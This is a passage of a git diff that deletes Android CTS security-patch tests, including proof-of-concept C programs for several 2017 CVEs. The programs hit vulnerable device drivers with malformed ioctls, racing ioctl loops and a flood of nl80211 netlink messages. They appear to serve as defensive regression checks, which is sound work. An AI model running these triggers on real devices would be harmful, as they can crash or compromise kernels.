-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
deleted file mode 100644
index 42455be..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0577/poc.c
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <errno.h>
-#include <asm/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <fcntl.h>
-
-int test_touch_fwu(){
- char* dev_name = "/dev/touch_fwu";
- int fd = open(dev_name, O_RDWR);
-
- if (fd < 0) {
- return -1;
- }
-
- size_t buf_len = 0xfffff;
- char* buf = (char*) malloc(buf_len);
- if (buf == NULL ) {
- return -1;
- }
-
- int ret = 0;
- ret = write(fd, buf, buf_len);
- free(buf);
- return ret;
-}
-
-int main()
-{
- test_touch_fwu();
- return 0;
-}
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
deleted file mode 100644
index 494b8c5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0579
-LOCAL_SRC_FILES := poc.c
-
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
deleted file mode 100644
index 5bf4329..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0579/poc.c
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <sys/ioctl.h>
-#include <linux/fb.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define MSMFB_IOCTL_MAGIC 'm'
-#define MSMFB_CURSOR _IOW(MSMFB_IOCTL_MAGIC, 130, struct fb_cursor)
-
-int call_ioctl(int file_desc, unsigned long request, void* param)
-{
- int ret_val;
-
- ret_val = ioctl(file_desc, request, param);
-
- if (ret_val < 0) {
- return ret_val;
- }
- return ret_val;
-}
-
-int test_mdss_msm_fb(int file_desc)
-{
- int ret_val;
- unsigned char* buf = malloc(0x100);
- struct fb_cursor cursor;
-
- memset(&cursor, 0, sizeof(struct fb_cursor ));
-
- cursor.set = FB_CUR_SETIMAGE;
- cursor.enable = 1;
- cursor.rop = 0;
- cursor.mask = 0;
- cursor.hot.x = 0x100;
- cursor.hot.y = 0x100;
- cursor.image.dx = 1439;
- cursor.image.dy = 2559;
- cursor.image.width = 0x1000;
- cursor.image.height = 0x1000;
- cursor.image.fg_color = 0xff;
- cursor.image.bg_color = 0xff00;
- cursor.image.depth = 32;
- cursor.image.data = malloc(cursor.image.width * cursor.image.height * 0x4 );
-
- ret_val = call_ioctl(file_desc, MSMFB_CURSOR, &cursor );
- if(ret_val < 0) {
- return ret_val;
- }
-
- free((void *)cursor.image.data);
- free(buf);
-
- return ret_val;
-}
-
-int main()
-{
- int file_desc, ret_val;
- const char* DEVICE_FILE_NAME = "/dev/graphics/fb0";
-
- file_desc = open(DEVICE_FILE_NAME, 0);
- if (file_desc < 0) {
- return -1;
- }
-
- test_mdss_msm_fb(file_desc);
-
- close(file_desc);
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
deleted file mode 100644
index 6350b07..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0580
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
deleted file mode 100644
index 0cf518a..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0580/poc.c
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include <asm/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <fcntl.h>
-
-struct firmware {
- size_t size;
- const uint8_t *data;
- void **pages;
- void *priv;
-};
-
-#define TOUCH_FWU_IOCTL_CODE (0x81)
-#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
-#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
-#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
-#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
-#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)
-
-void ioctl_modify_size_big(){
- char* dev_name = "/dev/touch_fwu";
- int fd = open(dev_name,O_RDWR);
- if (fd < 0){
- return ;
- }
-
- int cout = 1;
- while(cout){
- ioctl(fd, FW_FILE_SIZE , 0xffff );
- ioctl(fd, FW_LOAD_DONE , 0);
- }
-}
-
-void ioctl_modify_size_small(){
- char* dev_name = "/dev/touch_fwu";
- int fd = open(dev_name,O_RDWR);
- if (fd < 0){
- return ;
- }
-
- int cout = 1;
- while(cout){
- ioctl(fd, FW_FILE_SIZE , 0xf );
- ioctl(fd, FW_LOAD_DONE , 0);
- }
-}
-
-void ioctl_FW_UPDATE_PROCCESS(){
- char* dev_name = "/dev/touch_fwu";
- int fd = open(dev_name,O_RDWR);
- if (fd < 0){
- return ;
- }
-
- int cout = 1;
- while(cout){
- ioctl(fd, FW_UPDATE_PROCCESS , 0);
- }
-}
-
-
-int main()
-{
- pid_t pid = fork();
- if (pid < 0) {
- return -1;
- }
-
- if (0 == pid) {
- ioctl_modify_size_big();
- }
- else {
- pid_t pid1 = fork();
- if (0 == pid1) {
- ioctl_modify_size_small();
- }
- else {
- ioctl_FW_UPDATE_PROCCESS();
- }
- }
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
deleted file mode 100644
index 393bf6c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0586
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c
deleted file mode 100644
index 6e57c93..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0586/poc.c
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-
-typedef int __bitwise snd_ctl_elem_iface_t;
-
-struct snd_ctl_elem_id {
- unsigned int numid;
- snd_ctl_elem_iface_t iface;
- unsigned int device;
- unsigned int subdevice;
- unsigned char name[44];
- unsigned int index;
-};
-
-struct snd_aes_iec958 {
- unsigned char status[24];
- unsigned char subcode[147];
- unsigned char pad;
- unsigned char dig_subframe[4];
-};
-
-struct snd_ctl_elem_value {
- struct snd_ctl_elem_id id;
- unsigned int indirect: 1;
- union {
- union {
- long value[128];
- long *value_ptr;
- } integer;
- union {
- long long value[64];
- long long *value_ptr;
- } integer64;
- union {
- unsigned int item[128];
- unsigned int *item_ptr;
- } enumerated;
- union {
- unsigned char data[512];
- unsigned char *data_ptr;
- } bytes;
- struct snd_aes_iec958 iec958;
- } value;
- struct timespec tstamp;
- unsigned char reserved[128-sizeof(struct timespec)];
-};
-
-int main()
-{
- int fd;
- int ret;
- void *map;
- struct snd_ctl_elem_value arg;
-
- fd = open("/dev/snd/controlC0", O_RDWR);
- if(fd < 0){
- return -1;
- }
-
- arg.id.numid = 148;
- arg.value.enumerated.item[0] = 528;
-
- ret = ioctl(fd,0xc4c85513,&arg);
- if(ret < 0){
- return -1;
- }
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
deleted file mode 100644
index bbde6e2..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0705
-LOCAL_SRC_FILES := poc.c
-LOCAL_SHARED_LIBRARIES := libnl
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c
deleted file mode 100644
index 8d48434..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0705/poc.c
+++ /dev/null
@@ -1,257 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <errno.h>
-#include <unistd.h>
-#include <signal.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-
-#include <netlink/netlink.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <net/if.h>
-#include <linux/nl80211.h>
-
-#define OUI_GOOGLE 0x001A11
-#define ANDROID_NL80211_SUBCMD_RTT_RANGE_START 0x1100
-#define F1_32 0x41414141
-#define WL_CHANSPEC_BW_80 0x2000
-
-enum wl_vendor_subcmd {
- BRCM_VENDOR_SCMD_UNSPEC,
- BRCM_VENDOR_SCMD_PRIV_STR,
- GSCAN_SUBCMD_GET_CAPABILITIES = 0x1000,
- GSCAN_SUBCMD_SET_CONFIG,
- GSCAN_SUBCMD_SET_SCAN_CONFIG,
- GSCAN_SUBCMD_ENABLE_GSCAN,
- GSCAN_SUBCMD_GET_SCAN_RESULTS,
- GSCAN_SUBCMD_SCAN_RESULTS,
- GSCAN_SUBCMD_SET_HOTLIST,
- GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
- GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_SUBCMD_GET_CHANNEL_LIST,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
- ANDR_WIFI_RANDOM_MAC_OUI,
- ANDR_WIFI_NODFS_CHANNELS,
- ANDR_WIFI_SET_COUNTRY,
- GSCAN_SUBCMD_SET_EPNO_SSID,
- WIFI_SUBCMD_SET_SSID_WHITELIST,
- WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
- WIFI_SUBCMD_ENABLE_LAZY_ROAM,
- WIFI_SUBCMD_SET_BSSID_PREF,
- WIFI_SUBCMD_SET_BSSID_BLACKLIST,
- GSCAN_SUBCMD_ANQPO_CONFIG,
- WIFI_SUBCMD_SET_RSSI_MONITOR,
- RTT_SUBCMD_SET_CONFIG = 0x1100,
- RTT_SUBCMD_CANCEL_CONFIG,
- RTT_SUBCMD_GETCAPABILITY,
- LSTATS_SUBCMD_GET_INFO = 0x1200,
- DEBUG_START_LOGGING = 0x1400,
- DEBUG_TRIGGER_MEM_DUMP,
- DEBUG_GET_MEM_DUMP,
- DEBUG_GET_VER,
- DEBUG_GET_RING_STATUS,
- DEBUG_GET_RING_DATA,
- DEBUG_GET_FEATURE,
- DEBUG_RESET_LOGGING,
- WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE = 0x1600,
- WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
- /* Add more sub commands here */
- VENDOR_SUBCMD_MAX
-};
-
-enum debug_attributes {
- DEBUG_ATTRIBUTE_GET_DRIVER,
- DEBUG_ATTRIBUTE_GET_FW,
- DEBUG_ATTRIBUTE_RING_ID,
- DEBUG_ATTRIBUTE_RING_NAME,
- DEBUG_ATTRIBUTE_RING_FLAGS,
- DEBUG_ATTRIBUTE_LOG_LEVEL,
- DEBUG_ATTRIBUTE_LOG_TIME_INTVAL,
- DEBUG_ATTRIBUTE_LOG_MIN_DATA_SIZE,
- DEBUG_ATTRIBUTE_FW_DUMP_LEN,
- DEBUG_ATTRIBUTE_FW_DUMP_DATA,
- DEBUG_ATTRIBUTE_RING_DATA,
- DEBUG_ATTRIBUTE_RING_STATUS,
- DEBUG_ATTRIBUTE_RING_NUM
-};
-
-
-enum gscan_attributes {
- GSCAN_ATTRIBUTE_NUM_BUCKETS = 10,
- GSCAN_ATTRIBUTE_BASE_PERIOD,
- GSCAN_ATTRIBUTE_BUCKETS_BAND,
- GSCAN_ATTRIBUTE_BUCKET_ID,
- GSCAN_ATTRIBUTE_BUCKET_PERIOD,
- GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS,
- GSCAN_ATTRIBUTE_BUCKET_CHANNELS,
- GSCAN_ATTRIBUTE_NUM_AP_PER_SCAN,
- GSCAN_ATTRIBUTE_REPORT_THRESHOLD,
- GSCAN_ATTRIBUTE_NUM_SCANS_TO_CACHE,
- GSCAN_ATTRIBUTE_BAND = GSCAN_ATTRIBUTE_BUCKETS_BAND,
- GSCAN_ATTRIBUTE_ENABLE_FEATURE = 20,
- GSCAN_ATTRIBUTE_SCAN_RESULTS_COMPLETE,
- GSCAN_ATTRIBUTE_FLUSH_FEATURE,
- GSCAN_ATTRIBUTE_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_ATTRIBUTE_REPORT_EVENTS,
- /* remaining reserved for additional attributes */
- GSCAN_ATTRIBUTE_NUM_OF_RESULTS = 30,
- GSCAN_ATTRIBUTE_FLUSH_RESULTS,
- GSCAN_ATTRIBUTE_SCAN_RESULTS, /* flat array of wifi_scan_result */
- GSCAN_ATTRIBUTE_SCAN_ID, /* indicates scan number */
- GSCAN_ATTRIBUTE_SCAN_FLAGS, /* indicates if scan was aborted */
- GSCAN_ATTRIBUTE_AP_FLAGS, /* flags on significant change event */
- GSCAN_ATTRIBUTE_NUM_CHANNELS,
- GSCAN_ATTRIBUTE_CHANNEL_LIST,
- /* remaining reserved for additional attributes */
- GSCAN_ATTRIBUTE_SSID = 40,
- GSCAN_ATTRIBUTE_BSSID,
- GSCAN_ATTRIBUTE_CHANNEL,
- GSCAN_ATTRIBUTE_RSSI,
- GSCAN_ATTRIBUTE_TIMESTAMP,
- GSCAN_ATTRIBUTE_RTT,
- GSCAN_ATTRIBUTE_RTTSD,
- /* remaining reserved for additional attributes */
- GSCAN_ATTRIBUTE_HOTLIST_BSSIDS = 50,
- GSCAN_ATTRIBUTE_RSSI_LOW,
- GSCAN_ATTRIBUTE_RSSI_HIGH,
- GSCAN_ATTRIBUTE_HOSTLIST_BSSID_ELEM,
- GSCAN_ATTRIBUTE_HOTLIST_FLUSH,
- /* remaining reserved for additional attributes */
- GSCAN_ATTRIBUTE_RSSI_SAMPLE_SIZE = 60,
- GSCAN_ATTRIBUTE_LOST_AP_SAMPLE_SIZE,
- GSCAN_ATTRIBUTE_MIN_BREACHING,
- GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS,
- GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_FLUSH,
- /* EPNO */
- GSCAN_ATTRIBUTE_EPNO_SSID_LIST = 70,
- GSCAN_ATTRIBUTE_EPNO_SSID,
- GSCAN_ATTRIBUTE_EPNO_SSID_LEN,
- GSCAN_ATTRIBUTE_EPNO_RSSI,
- GSCAN_ATTRIBUTE_EPNO_FLAGS,
- GSCAN_ATTRIBUTE_EPNO_AUTH,
- GSCAN_ATTRIBUTE_EPNO_SSID_NUM,
- GSCAN_ATTRIBUTE_EPNO_FLUSH,
- /* Roam SSID Whitelist and BSSID pref */
- GSCAN_ATTRIBUTE_WHITELIST_SSID = 80,
- GSCAN_ATTRIBUTE_NUM_WL_SSID,
- GSCAN_ATTRIBUTE_WL_SSID_LEN,
- GSCAN_ATTRIBUTE_WL_SSID_FLUSH,
- GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM,
- GSCAN_ATTRIBUTE_NUM_BSSID,
- GSCAN_ATTRIBUTE_BSSID_PREF_LIST,
- GSCAN_ATTRIBUTE_BSSID_PREF_FLUSH,
- GSCAN_ATTRIBUTE_BSSID_PREF,
- GSCAN_ATTRIBUTE_RSSI_MODIFIER,
- /* Roam cfg */
- GSCAN_ATTRIBUTE_A_BAND_BOOST_THRESHOLD = 90,
- GSCAN_ATTRIBUTE_A_BAND_PENALTY_THRESHOLD,
- GSCAN_ATTRIBUTE_A_BAND_BOOST_FACTOR,
- GSCAN_ATTRIBUTE_A_BAND_PENALTY_FACTOR,
- GSCAN_ATTRIBUTE_A_BAND_MAX_BOOST,
- GSCAN_ATTRIBUTE_LAZY_ROAM_HYSTERESIS,
- GSCAN_ATTRIBUTE_ALERT_ROAM_RSSI_TRIGGER,
- GSCAN_ATTRIBUTE_LAZY_ROAM_ENABLE,
- /* BSSID blacklist */
- GSCAN_ATTRIBUTE_BSSID_BLACKLIST_FLUSH = 100,
- GSCAN_ATTRIBUTE_BLACKLIST_BSSID,
- GSCAN_ATTRIBUTE_ANQPO_HS_LIST = 110,
- GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE,
- GSCAN_ATTRIBUTE_ANQPO_HS_NETWORK_ID,
- GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM,
- GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID,
- GSCAN_ATTRIBUTE_ANQPO_HS_PLMN,
- /* Adaptive scan attributes */
- GSCAN_ATTRIBUTE_BUCKET_STEP_COUNT = 120,
- GSCAN_ATTRIBUTE_BUCKET_MAX_PERIOD,
- GSCAN_ATTRIBUTE_MAX
-};
-
-
-#define ETHER_ADDR_LEN 6
-struct __attribute__ ((packed)) _ether_addr {
- uint8_t octet[ETHER_ADDR_LEN];
-};
-
-static int l1;
-static int l2;
-static void test(struct nl_sock *socket, int d_id, int if_index)
-{
- struct nl_msg *msg;
- struct nl_cb *cb;
- struct nl_msg *vendor_cmd, *nested_msg;
- struct nlattr *nl_vendor_cmds, *nested, *nested2, *nested3;
- int err, i, j = 0, k = 0, ret;
- struct _ether_addr mac;
- memset(&mac, 0x41, sizeof(mac));
-
- // Allocate the messages and callback handler.
- for (j = l1; j < 1024; j++) {
- for(k = l2; k < 128; k++) {
- msg = nlmsg_alloc_size(16384);
- if (!msg) {
- exit(EXIT_FAILURE);
- }
-
- genlmsg_put(msg, 0, 0, d_id, 0, 0, NL80211_CMD_VENDOR, 0);
- nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
- nla_put_u32(msg, NL80211_ATTR_WIPHY, 0);
- nla_put_u64(msg, NL80211_ATTR_WDEV, 1);
- nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
- nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG);
-
- /* construct the vendor cmd */
- nl_vendor_cmds = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
- nested = nla_nest_start(msg, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS);
- for (i = 0; i < j; i++) {
- nested2 = nla_nest_start(msg, i);
- nla_nest_end(msg, nested2);
- }
- for (i = 0; i < k; i++) {
- nested2 = nla_nest_start(msg, i);
- nla_put(msg, GSCAN_ATTRIBUTE_BSSID, sizeof(mac), &mac);
- nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_LOW, 0x41);
- nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_HIGH, 0x41);
- nla_nest_end(msg, nested2);
- }
- nla_nest_end(msg, nested);
- nla_nest_end(msg, nl_vendor_cmds);
-
- nl_send_auto_complete(socket, msg);
- nlmsg_free(msg);
- }
- }
-}
-
-int main(int argc, char **argv)
-{
- int if_index = if_nametoindex("wlan0"); // Use this wireless interface for scanning.
- l1 = 157;
- l2 = 0;
- // Open socket to kernel.
- struct nl_sock *socket = nl_socket_alloc(); // Allocate new netlink socket in memory.
- genl_connect(socket); // Create file descriptor and bind socket.
- int driver_id = genl_ctrl_resolve(socket, "nl80211"); // Find the nl80211 driver ID.
-
- test(socket, driver_id, if_index);
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
deleted file mode 100644
index 9d1d3d17..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
